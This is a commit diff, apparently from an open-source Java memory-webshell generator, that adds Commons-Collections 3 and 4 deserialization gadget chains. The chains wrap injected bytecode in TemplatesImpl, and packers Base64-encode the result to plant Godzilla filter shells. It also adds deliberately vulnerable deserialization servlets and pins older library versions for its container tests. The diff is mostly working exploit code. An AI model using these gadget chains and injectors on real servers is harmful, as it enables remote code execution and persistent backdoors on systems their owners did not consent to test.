feat: support CC payload generate
Dev Deploy / Build Jar (push) Waiting to run
Dev Deploy / Docker Push (push) Blocked by required conditions
Dev Deploy / Deploy to Northflank (push) Blocked by required conditions
Test / UniteTest (push) Waiting to run
Test / ${{ matrix.middleware }} (glassfish) (push) Blocked by required conditions
Test / ${{ matrix.middleware }} (jbossas) (push) Blocked by required conditions
Test / ${{ matrix.middleware }} (jbosseap) (push) Blocked by required conditions
Test / ${{ matrix.middleware }} (jetty) (push) Blocked by required conditions
Test / ${{ matrix.middleware }} (payara) (push) Blocked by required conditions
Test / ${{ matrix.middleware }} (resin) (push) Blocked by required conditions
Test / ${{ matrix.middleware }} (springmvc) (push) Blocked by required conditions
Test / ${{ matrix.middleware }} (springwebflux) (push) Blocked by required conditions
Test / ${{ matrix.middleware }} (tomcat) (push) Blocked by required conditions
Test / ${{ matrix.middleware }} (weblogic) (push) Blocked by required conditions
Test / ${{ matrix.middleware }} (websphere) (push) Blocked by required conditions
Test / ${{ matrix.middleware }} (websphere7) (push) Blocked by required conditions
Test / ${{ matrix.middleware }} (wildfly) (push) Blocked by required conditions
Test / ${{ matrix.middleware }} (xxljob) (push) Blocked by required conditions

This commit is contained in:
ReaJason
2025-04-02 08:36:50 +08:00
parent 6a69bbbda4
commit 8658fca29c
16 changed files with 196 additions and 11 deletions
+3 -3
View File
@@ -36,9 +36,9 @@ jacocoTestReport {
classDirectories.from(
fileTree('generator/build/classes/java/main') {
excludes = [
'com/reajason/javaweb/memsell/**/godzilla/**',
'com/reajason/javaweb/memsell/**/injector/**',
'com/reajason/javaweb/memsell/**/command/**',
'com/reajason/javaweb/memshell/**/godzilla/**',
'com/reajason/javaweb/memshell/**/injector/**',
'com/reajason/javaweb/memshell/**/command/**',
'com/reajason/javaweb/config/**'
]
}
+4 -1
View File
@@ -6,10 +6,13 @@ group = 'com.reajason.javaweb'
version = rootProject.version
dependencies {
implementation project(":common")
implementation 'net.bytebuddy:byte-buddy'
implementation 'com.caucho:hessian:4.0.66'
implementation 'commons-beanutils:commons-beanutils:1.9.4'
implementation 'commons-beanutils:commons-beanutils:1.9.2'
implementation 'commons-collections:commons-collections:3.2.1'
implementation 'org.apache.commons:commons-collections4:4.0'
testImplementation platform('org.junit:junit-bom')
testImplementation 'org.junit.jupiter:junit-jupiter'
@@ -1,10 +1,7 @@
package com.reajason.javaweb.deserialize;
import com.reajason.javaweb.deserialize.payload.hessian.XSLTScriptEngine;
import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils110;
import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils16;
import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils18;
import com.reajason.javaweb.deserialize.payload.java.CommonsBeanutils19;
import com.reajason.javaweb.deserialize.payload.java.*;
import lombok.Getter;
/**
@@ -21,6 +18,12 @@ public enum PayloadType {
CommonsBeanutils19(new CommonsBeanutils19()),
CommonsBeanutils110(new CommonsBeanutils110()),
/**
* CC 链
*/
CommonsCollections3(new CommonCollections3()),
CommonsCollections4(new CommonCollections4()),
/**
* Hessian XSLT write
*/
@@ -1,12 +1,13 @@
package com.reajason.javaweb.deserialize;
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.deserialize.utils.Reflections;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import lombok.SneakyThrows;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.jar.asm.Opcodes;
/**
* @author ReaJason
@@ -20,6 +21,7 @@ public class TemplateUtils {
byte[] fooBytes;
try (DynamicType.Unloaded<Object> make = new ByteBuddy()
.subclass(Object.class).name("foo")
.visit(new TargetJreVersionVisitorWrapper(Opcodes.V1_6))
.make()) {
fooBytes = make.getBytes();
}
@@ -0,0 +1,43 @@
package com.reajason.javaweb.deserialize.payload.java;
import com.reajason.javaweb.deserialize.Payload;
import com.reajason.javaweb.deserialize.TemplateUtils;
import com.reajason.javaweb.deserialize.utils.Reflections;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import lombok.SneakyThrows;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.Map;
/**
* CC11 链 from <a href="https://github.com/dota-st/JavaSec/blob/master/03-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B8%93%E5%8C%BA/9-CommonsCollections11/CommonsCollections11.md">CommonsCollections11.md</a>
*
* @author ReaJason
* @since 2025/4/2
*/
public class CommonCollections3 implements Payload {
@Override
@SneakyThrows
@SuppressWarnings({"rawtypes", "unchecked"})
public Object generate(byte[] bytes) {
TemplatesImpl templates = TemplateUtils.createTemplatesImpl(bytes);
InvokerTransformer invokerTransformer = new InvokerTransformer("toString", null, null);
Map innerMap = new HashMap<>();
Map outerMap = LazyMap.decorate(innerMap, invokerTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, templates);
Map expMap = new HashMap<>();
expMap.put(tiedMapEntry, "valueTest");
outerMap.remove(templates);
Reflections.setFieldValue(invokerTransformer, "iMethodName", "newTransformer");
return expMap;
}
}
@@ -0,0 +1,39 @@
package com.reajason.javaweb.deserialize.payload.java;
import com.reajason.javaweb.deserialize.Payload;
import com.reajason.javaweb.deserialize.TemplateUtils;
import com.reajason.javaweb.deserialize.utils.Reflections;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import lombok.SneakyThrows;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import java.util.PriorityQueue;
/**
* @author ReaJason
* @since 2025/4/2
*/
public class CommonCollections4 implements Payload {
@Override
@SneakyThrows
@SuppressWarnings({"rawtypes", "unchecked"})
public Object generate(byte[] bytes) {
TemplatesImpl templates = TemplateUtils.createTemplatesImpl(bytes);
ChainedTransformer chain =
new ChainedTransformer(
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[]{Templates.class}, new Object[]{templates}));
TransformingComparator comparator = new TransformingComparator(chain);
PriorityQueue queue = new PriorityQueue(2, comparator);
Reflections.setFieldValue(queue, "size", 2);
Reflections.setFieldValue(queue, "comparator", comparator);
return queue;
}
}
+2 -1
View File
@@ -10,7 +10,7 @@ java {
targetCompatibility = JavaVersion.VERSION_1_8
}
group = 'com.reajason.javaweb.memsell'
group = 'com.reajason.javaweb'
version = rootProject.version
tasks.withType(Test).configureEach {
@@ -35,6 +35,7 @@ test {
dependencies {
implementation project(":common")
implementation project(":deserialize")
implementation project(":memshell")
implementation project(":memshell-java8")
implementation 'net.bytebuddy:byte-buddy'
@@ -103,6 +103,8 @@ public enum Packers {
JavaCommonsBeanutils17(new CommonsBeanutils18Packer(), JavaDeserializePacker.class),
JavaCommonsBeanutils16(new CommonsBeanutils16Packer(), JavaDeserializePacker.class),
JavaCommonsBeanutils110(new CommonsBeanutils110Packer(), JavaDeserializePacker.class),
JavaCommonsCollections3(new CommonsCollections3Packer(), JavaDeserializePacker.class),
JavaCommonsCollections4(new CommonsCollections4Packer(), JavaDeserializePacker.class),
/**
* Hessian 反序列化打包器
@@ -0,0 +1,24 @@
package com.reajason.javaweb.memshell.packer.deserialize.java;
import com.reajason.javaweb.deserialize.DeserializeConfig;
import com.reajason.javaweb.deserialize.JavaDeserializeGenerator;
import com.reajason.javaweb.deserialize.PayloadType;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
import lombok.SneakyThrows;
import org.apache.commons.codec.binary.Base64;
/**
* @author ReaJason
* @since 2025/2/17
*/
public class CommonsCollections3Packer implements Packer {
@Override
@SneakyThrows
public String pack(GenerateResult generateResult) {
DeserializeConfig deserializeConfig = new DeserializeConfig();
deserializeConfig.setPayloadType(PayloadType.CommonsCollections3);
return Base64.encodeBase64String(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
}
}
@@ -0,0 +1,24 @@
package com.reajason.javaweb.memshell.packer.deserialize.java;
import com.reajason.javaweb.deserialize.DeserializeConfig;
import com.reajason.javaweb.deserialize.JavaDeserializeGenerator;
import com.reajason.javaweb.deserialize.PayloadType;
import com.reajason.javaweb.memshell.config.GenerateResult;
import com.reajason.javaweb.memshell.packer.Packer;
import lombok.SneakyThrows;
import org.apache.commons.codec.binary.Base64;
/**
* @author ReaJason
* @since 2025/2/17
*/
public class CommonsCollections4Packer implements Packer {
@Override
@SneakyThrows
public String pack(GenerateResult generateResult) {
DeserializeConfig deserializeConfig = new DeserializeConfig();
deserializeConfig.setPayloadType(PayloadType.CommonsCollections4);
return Base64.encodeBase64String(JavaDeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
}
}
@@ -332,6 +332,8 @@ public class ShellAssertionTool {
case JavaCommonsBeanutils18 -> VulTool.postData(url + "/java_deserialize/cb183", content);
case JavaCommonsBeanutils19 -> VulTool.postData(url + "/java_deserialize/cb194", content);
case JavaCommonsBeanutils110 -> VulTool.postData(url + "/java_deserialize/cb110", content);
case JavaCommonsCollections3 -> VulTool.postData(url + "/java_deserialize/cc321", content);
case JavaCommonsCollections4 -> VulTool.postData(url + "/java_deserialize/cc40", content);
case HessianDeserialize -> VulTool.postData(url + "/hessian", content);
case Hessian2Deserialize -> VulTool.postData(url + "/hessian2", content);
case Base64 -> VulTool.postData(url + "/b64", content);
@@ -47,6 +47,8 @@ public class Tomcat8DeserializeContainerTest {
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaCommonsBeanutils18),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaCommonsBeanutils19),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaCommonsBeanutils110),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaCommonsCollections3),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaCommonsCollections4),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.HessianDeserialize),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Hessian2Deserialize)
);
+6
View File
@@ -16,6 +16,8 @@ configurations {
cb183
cb170
cb161
cc321
cc40
}
dependencies {
@@ -24,6 +26,8 @@ dependencies {
cb183 'commons-beanutils:commons-beanutils:1.8.3'
cb170 'commons-beanutils:commons-beanutils:1.7.0'
cb161 'commons-beanutils:commons-beanutils:1.6.1'
cc321 'commons-collections:commons-collections:3.2.1'
cc40 'org.apache.commons:commons-collections4:4.0'
implementation 'com.caucho:hessian:4.0.66'
providedCompile 'javax.servlet:javax.servlet-api:3.1.0'
@@ -40,6 +44,8 @@ war {
copy { from configurations.cb183 into "src/main/webapp/WEB-INF/dep" }
copy { from configurations.cb170 into "src/main/webapp/WEB-INF/dep" }
copy { from configurations.cb161 into "src/main/webapp/WEB-INF/dep" }
copy { from configurations.cc321 into "src/main/webapp/WEB-INF/dep" }
copy { from configurations.cc40 into "src/main/webapp/WEB-INF/dep" }
}
}
@@ -0,0 +1,17 @@
import javax.servlet.annotation.WebServlet;
import java.util.Collections;
import java.util.List;
/**
* @author ReaJason
* @since 2024/12/10
*/
@WebServlet("/java_deserialize/cc321")
public class JavaReadObjCC321jServlet extends BaseDeserializeServlet {
@Override
List<String> getDependentPaths() {
return Collections.singletonList("commons-collections-3.2.1.jar");
}
}
@@ -0,0 +1,17 @@
import javax.servlet.annotation.WebServlet;
import java.util.Collections;
import java.util.List;
/**
* @author ReaJason
* @since 2024/12/10
*/
@WebServlet("/java_deserialize/cc40")
public class JavaReadObjCC40jServlet extends BaseDeserializeServlet {
@Override
List<String> getDependentPaths() {
return Collections.singletonList("commons-collections4-4.0.jar");
}
}
+1 -1
View File
@@ -12,6 +12,6 @@ java {
dependencies {
implementation 'commons-fileupload:commons-fileupload:1.3.3'
implementation 'commons-beanutils:commons-beanutils:1.9.4'
implementation 'commons-beanutils:commons-beanutils:1.9.2'
providedCompile "javax.servlet:servlet-api:2.5"
}